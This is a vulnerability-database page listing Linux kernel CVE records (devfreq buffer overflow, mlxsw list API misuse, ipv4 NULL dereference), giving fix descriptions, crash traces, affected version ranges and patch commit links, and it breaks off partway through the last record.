          "url": "https://git.kernel.org/stable/c/dbf291d8ffffb70f48286176a15c6c54f0bb0743"
        },
        {
          "url": "https://git.kernel.org/stable/c/a853450bf4c752e664abab0b2fad395b7ad7701c"
        }
      ],
      "title": "crypto: xilinx - call finalize with bh disabled",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26877",
    "datePublished": "2024-04-17T10:27:35.197Z",
    "dateReserved": "2024-02-19T14:20:24.185Z",
    "dateUpdated": "2026-05-12T11:49:50.041Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-52614 (GCVE-0-2023-52614)

Vulnerability from cvelistv5 – Published: 2024-03-18 10:14 – Updated: 2026-05-12 11:21

Title

PM / devfreq: Fix buffer overflow in trans_stat_show

Summary

In the Linux kernel, the following vulnerability has been resolved: PM / devfreq: Fix buffer overflow in trans_stat_show Fix buffer overflow in trans_stat_show(). Convert simple snprintf to the more secure scnprintf with size of PAGE_SIZE. Add condition checking if we are exceeding PAGE_SIZE and exit early from loop. Also add at the end a warning that we exceeded PAGE_SIZE and that stats is disabled. Return -EFBIG in the case where we don't have enough space to write the full transition table. Also document in the ABI that this function can return -EFBIG error.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/087de000e4f8c878c…
https://git.kernel.org/stable/c/796d3fad8c35ee9df…
https://git.kernel.org/stable/c/8a7729cda2dd276d7…
https://git.kernel.org/stable/c/a979f56aa4b93579c…
https://git.kernel.org/stable/c/eaef4650fa2050147…
https://git.kernel.org/stable/c/08e23d05fa6dc4fc1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e552bbaf5b987f57c43e6981a452b8a3c700b1ae , < 087de000e4f8c878c81d9dd3725f00a1d292980c (git) Affected: e552bbaf5b987f57c43e6981a452b8a3c700b1ae , < 796d3fad8c35ee9df9027899fb90ceaeb41b958f (git) Affected: e552bbaf5b987f57c43e6981a452b8a3c700b1ae , < 8a7729cda2dd276d7a3994638038fb89035b6f2c (git) Affected: e552bbaf5b987f57c43e6981a452b8a3c700b1ae , < a979f56aa4b93579cf0e4265ae04d7e9300fd3e8 (git) Affected: e552bbaf5b987f57c43e6981a452b8a3c700b1ae , < eaef4650fa2050147ca25fd7ee43bc0082e03c87 (git) Affected: e552bbaf5b987f57c43e6981a452b8a3c700b1ae , < 08e23d05fa6dc4fc13da0ccf09defdd4bbc92ff4 (git)
Linux	Linux	Affected: 3.8 Unaffected: 0 , < 3.8 (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.149 , ≤ 5.15.* (semver) Unaffected: 6.1.76 , ≤ 6.1.* (semver) Unaffected: 6.6.15 , ≤ 6.6.* (semver) Unaffected: 6.7.3 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-52614",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-03-18T15:34:29.560131Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-07T19:25:57.982Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T23:03:21.314Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/087de000e4f8c878c81d9dd3725f00a1d292980c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/796d3fad8c35ee9df9027899fb90ceaeb41b958f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8a7729cda2dd276d7a3994638038fb89035b6f2c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a979f56aa4b93579cf0e4265ae04d7e9300fd3e8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eaef4650fa2050147ca25fd7ee43bc0082e03c87"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/08e23d05fa6dc4fc13da0ccf09defdd4bbc92ff4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:21:41.460Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "Documentation/ABI/testing/sysfs-class-devfreq",
            "drivers/devfreq/devfreq.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "087de000e4f8c878c81d9dd3725f00a1d292980c",
              "status": "affected",
              "version": "e552bbaf5b987f57c43e6981a452b8a3c700b1ae",
              "versionType": "git"
            },
            {
              "lessThan": "796d3fad8c35ee9df9027899fb90ceaeb41b958f",
              "status": "affected",
              "version": "e552bbaf5b987f57c43e6981a452b8a3c700b1ae",
              "versionType": "git"
            },
            {
              "lessThan": "8a7729cda2dd276d7a3994638038fb89035b6f2c",
              "status": "affected",
              "version": "e552bbaf5b987f57c43e6981a452b8a3c700b1ae",
              "versionType": "git"
            },
            {
              "lessThan": "a979f56aa4b93579cf0e4265ae04d7e9300fd3e8",
              "status": "affected",
              "version": "e552bbaf5b987f57c43e6981a452b8a3c700b1ae",
              "versionType": "git"
            },
            {
              "lessThan": "eaef4650fa2050147ca25fd7ee43bc0082e03c87",
              "status": "affected",
              "version": "e552bbaf5b987f57c43e6981a452b8a3c700b1ae",
              "versionType": "git"
            },
            {
              "lessThan": "08e23d05fa6dc4fc13da0ccf09defdd4bbc92ff4",
              "status": "affected",
              "version": "e552bbaf5b987f57c43e6981a452b8a3c700b1ae",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "Documentation/ABI/testing/sysfs-class-devfreq",
            "drivers/devfreq/devfreq.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.8"
            },
            {
              "lessThan": "3.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.149",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.15",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.149",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.76",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.15",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.3",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nPM / devfreq: Fix buffer overflow in trans_stat_show\n\nFix buffer overflow in trans_stat_show().\n\nConvert simple snprintf to the more secure scnprintf with size of\nPAGE_SIZE.\n\nAdd condition checking if we are exceeding PAGE_SIZE and exit early from\nloop. Also add at the end a warning that we exceeded PAGE_SIZE and that\nstats is disabled.\n\nReturn -EFBIG in the case where we don\u0027t have enough space to write the\nfull transition table.\n\nAlso document in the ABI that this function can return -EFBIG error."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T19:30:23.466Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/087de000e4f8c878c81d9dd3725f00a1d292980c"
        },
        {
          "url": "https://git.kernel.org/stable/c/796d3fad8c35ee9df9027899fb90ceaeb41b958f"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a7729cda2dd276d7a3994638038fb89035b6f2c"
        },
        {
          "url": "https://git.kernel.org/stable/c/a979f56aa4b93579cf0e4265ae04d7e9300fd3e8"
        },
        {
          "url": "https://git.kernel.org/stable/c/eaef4650fa2050147ca25fd7ee43bc0082e03c87"
        },
        {
          "url": "https://git.kernel.org/stable/c/08e23d05fa6dc4fc13da0ccf09defdd4bbc92ff4"
        }
      ],
      "title": "PM / devfreq: Fix buffer overflow in trans_stat_show",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2023-52614",
    "datePublished": "2024-03-18T10:14:44.929Z",
    "dateReserved": "2024-03-06T09:52:12.089Z",
    "dateUpdated": "2026-05-12T11:21:41.460Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36006 (GCVE-0-2024-36006)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:48 – Updated: 2026-05-12 11:53

Title

mlxsw: spectrum_acl_tcam: Fix incorrect list API usage

Summary

In the Linux kernel, the following vulnerability has been resolved: mlxsw: spectrum_acl_tcam: Fix incorrect list API usage Both the function that migrates all the chunks within a region and the function that migrates all the entries within a chunk call list_first_entry() on the respective lists without checking that the lists are not empty. This is incorrect usage of the API, which leads to the following warning [1]. Fix by returning if the lists are empty as there is nothing to migrate in this case. [1] WARNING: CPU: 0 PID: 6437 at drivers/net/ethernet/mellanox/mlxsw/spectrum_acl_tcam.c:1266 mlxsw_sp_acl_tcam_vchunk_migrate_all+0x1f1/0> Modules linked in: CPU: 0 PID: 6437 Comm: kworker/0:37 Not tainted 6.9.0-rc3-custom-00883-g94a65f079ef6 #39 Hardware name: Mellanox Technologies Ltd. MSN3700/VMOD0005, BIOS 5.11 01/06/2019 Workqueue: mlxsw_core mlxsw_sp_acl_tcam_vregion_rehash_work RIP: 0010:mlxsw_sp_acl_tcam_vchunk_migrate_all+0x1f1/0x2c0 [...] Call Trace: <TASK> mlxsw_sp_acl_tcam_vregion_rehash_work+0x6c/0x4a0 process_one_work+0x151/0x370 worker_thread+0x2cb/0x3e0 kthread+0xd0/0x100 ret_from_fork+0x34/0x50 ret_from_fork_asm+0x1a/0x30 </TASK>

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/0b2c13b670b168e32…
https://git.kernel.org/stable/c/09846c2309b150b8c…
https://git.kernel.org/stable/c/64435b64e43d8ee60…
https://git.kernel.org/stable/c/4526a56e02da3725d…
https://git.kernel.org/stable/c/ab4ecfb627338e440…
https://git.kernel.org/stable/c/af8b593c3dd9df82c…
https://git.kernel.org/stable/c/b377add0f0117409c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 0b2c13b670b168e324e1cf109e67056a20fd610a (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 09846c2309b150b8ce4e0ce96f058197598fc530 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 64435b64e43d8ee60faa46c0cd04e323e8b2a7b0 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 4526a56e02da3725db979358964df9cd9c567154 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < ab4ecfb627338e440ae11def004c524a00d93e40 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < af8b593c3dd9df82cb199be65863af004b09fd97 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < b377add0f0117409c418ddd6504bd682ebe0bf79 (git)
Linux	Linux	Affected: 5.1 Unaffected: 0 , < 5.1 (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36006",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T17:00:50.884985Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:47:57.118Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:12.329Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0b2c13b670b168e324e1cf109e67056a20fd610a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/09846c2309b150b8ce4e0ce96f058197598fc530"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/64435b64e43d8ee60faa46c0cd04e323e8b2a7b0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4526a56e02da3725db979358964df9cd9c567154"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ab4ecfb627338e440ae11def004c524a00d93e40"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/af8b593c3dd9df82cb199be65863af004b09fd97"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b377add0f0117409c418ddd6504bd682ebe0bf79"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:35.895Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlxsw/spectrum_acl_tcam.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0b2c13b670b168e324e1cf109e67056a20fd610a",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "09846c2309b150b8ce4e0ce96f058197598fc530",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "64435b64e43d8ee60faa46c0cd04e323e8b2a7b0",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "4526a56e02da3725db979358964df9cd9c567154",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "ab4ecfb627338e440ae11def004c524a00d93e40",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "af8b593c3dd9df82cb199be65863af004b09fd97",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "b377add0f0117409c418ddd6504bd682ebe0bf79",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlxsw/spectrum_acl_tcam.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmlxsw: spectrum_acl_tcam: Fix incorrect list API usage\n\nBoth the function that migrates all the chunks within a region and the\nfunction that migrates all the entries within a chunk call\nlist_first_entry() on the respective lists without checking that the\nlists are not empty. This is incorrect usage of the API, which leads to\nthe following warning [1].\n\nFix by returning if the lists are empty as there is nothing to migrate\nin this case.\n\n[1]\nWARNING: CPU: 0 PID: 6437 at drivers/net/ethernet/mellanox/mlxsw/spectrum_acl_tcam.c:1266 mlxsw_sp_acl_tcam_vchunk_migrate_all+0x1f1/0\u003e\nModules linked in:\nCPU: 0 PID: 6437 Comm: kworker/0:37 Not tainted 6.9.0-rc3-custom-00883-g94a65f079ef6 #39\nHardware name: Mellanox Technologies Ltd. MSN3700/VMOD0005, BIOS 5.11 01/06/2019\nWorkqueue: mlxsw_core mlxsw_sp_acl_tcam_vregion_rehash_work\nRIP: 0010:mlxsw_sp_acl_tcam_vchunk_migrate_all+0x1f1/0x2c0\n[...]\nCall Trace:\n \u003cTASK\u003e\n mlxsw_sp_acl_tcam_vregion_rehash_work+0x6c/0x4a0\n process_one_work+0x151/0x370\n worker_thread+0x2cb/0x3e0\n kthread+0xd0/0x100\n ret_from_fork+0x34/0x50\n ret_from_fork_asm+0x1a/0x30\n \u003c/TASK\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:29.538Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0b2c13b670b168e324e1cf109e67056a20fd610a"
        },
        {
          "url": "https://git.kernel.org/stable/c/09846c2309b150b8ce4e0ce96f058197598fc530"
        },
        {
          "url": "https://git.kernel.org/stable/c/64435b64e43d8ee60faa46c0cd04e323e8b2a7b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/4526a56e02da3725db979358964df9cd9c567154"
        },
        {
          "url": "https://git.kernel.org/stable/c/ab4ecfb627338e440ae11def004c524a00d93e40"
        },
        {
          "url": "https://git.kernel.org/stable/c/af8b593c3dd9df82cb199be65863af004b09fd97"
        },
        {
          "url": "https://git.kernel.org/stable/c/b377add0f0117409c418ddd6504bd682ebe0bf79"
        }
      ],
      "title": "mlxsw: spectrum_acl_tcam: Fix incorrect list API usage",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36006",
    "datePublished": "2024-05-20T09:48:06.278Z",
    "dateReserved": "2024-05-17T13:50:33.150Z",
    "dateUpdated": "2026-05-12T11:53:35.895Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36008 (GCVE-0-2024-36008)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:48 – Updated: 2026-05-12 11:53

Title

ipv4: check for NULL idev in ip_route_use_hint()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv4: check for NULL idev in ip_route_use_hint() syzbot was able to trigger a NULL deref in fib_validate_source() in an old tree [1]. It appears the bug exists in latest trees. All calls to __in_dev_get_rcu() must be checked for a NULL result. [1] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] CPU: 2 PID: 3257 Comm: syz-executor.3 Not tainted 5.10.0-syzkaller #0 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 RIP: 0010:fib_validate_source+0xbf/0x15a0 net/ipv4/fib_frontend.c:425 Code: 18 f2 f2 f2 f2 42 c7 44 20 23 f3 f3 f3 f3 48 89 44 24 78 42 c6 44 20 27 f3 e8 5d 88 48 fc 4c 89 e8 48 c1 e8 03 48 89 44 24 18 <42> 80 3c 20 00 74 08 4c 89 ef e8 d2 15 98 fc 48 89 5c 24 10 41 bf RSP: 0018:ffffc900015fee40 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff88800f7a4000 RCX: ffff88800f4f90c0 RDX: 0000000000000000 RSI: 0000000004001eac RDI: ffff8880160c64c0 RBP: ffffc900015ff060 R08: 0000000000000000 R09: ffff88800f7a4000 R10: 0000000000000002 R11: ffff88800f4f90c0 R12: dffffc0000000000 R13: 0000000000000000 R14: 0000000000000000 R15: ffff88800f7a4000 FS: 00007f938acfe6c0(0000) GS:ffff888058c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f938acddd58 CR3: 000000001248e000 CR4: 0000000000352ef0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: ip_route_use_hint+0x410/0x9b0 net/ipv4/route.c:2231 ip_rcv_finish_core+0x2c4/0x1a30 net/ipv4/ip_input.c:327 ip_list_rcv_finish net/ipv4/ip_input.c:612 [inline] ip_sublist_rcv+0x3ed/0xe50 net/ipv4/ip_input.c:638 ip_list_rcv+0x422/0x470 net/ipv4/ip_input.c:673 __netif_receive_skb_list_ptype net/core/dev.c:5572 [inline] __netif_receive_skb_list_core+0x6b1/0x890 net/core/dev.c:5620 __netif_receive_skb_list net/core/dev.c:5672 [inline] netif_receive_skb_list_internal+0x9f9/0xdc0 net/core/dev.c:5764 netif_receive_skb_list+0x55/0x3e0 net/core/dev.c:5816 xdp_recv_frames net/bpf/test_run.c:257 [inline] xdp_test_run_batch net/bpf/test_run.c:335 [inline] bpf_test_run_xdp_live+0x1818/0x1d00 net/bpf/test_run.c:363 bpf_prog_test_run_xdp+0x81f/0x1170 net/bpf/test_run.c:1376 bpf_prog_test_run+0x349/0x3c0 kernel/bpf/syscall.c:3736 __sys_bpf+0x45c/0x710 kernel/bpf/syscall.c:5115 __do_sys_bpf kernel/bpf/syscall.c:5201 [inline] __se_sys_bpf kernel/bpf/syscall.c:5199 [inline] __x64_sys_bpf+0x7c/0x90 kernel/bpf/syscall.c:5199

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/7da0f91681c4902bc…
https://git.kernel.org/stable/c/03b5a9b2b526862b2…
https://git.kernel.org/stable/c/7a25bfd12733a8f38…
https://git.kernel.org/stable/c/8240c7308c941db4d…
https://git.kernel.org/stable/c/c71ea3534ec0936fc…
https://git.kernel.org/stable/c/58a4c9b1e5a3e53c9…

Impacted products

2 products

Vendor	Product	Version
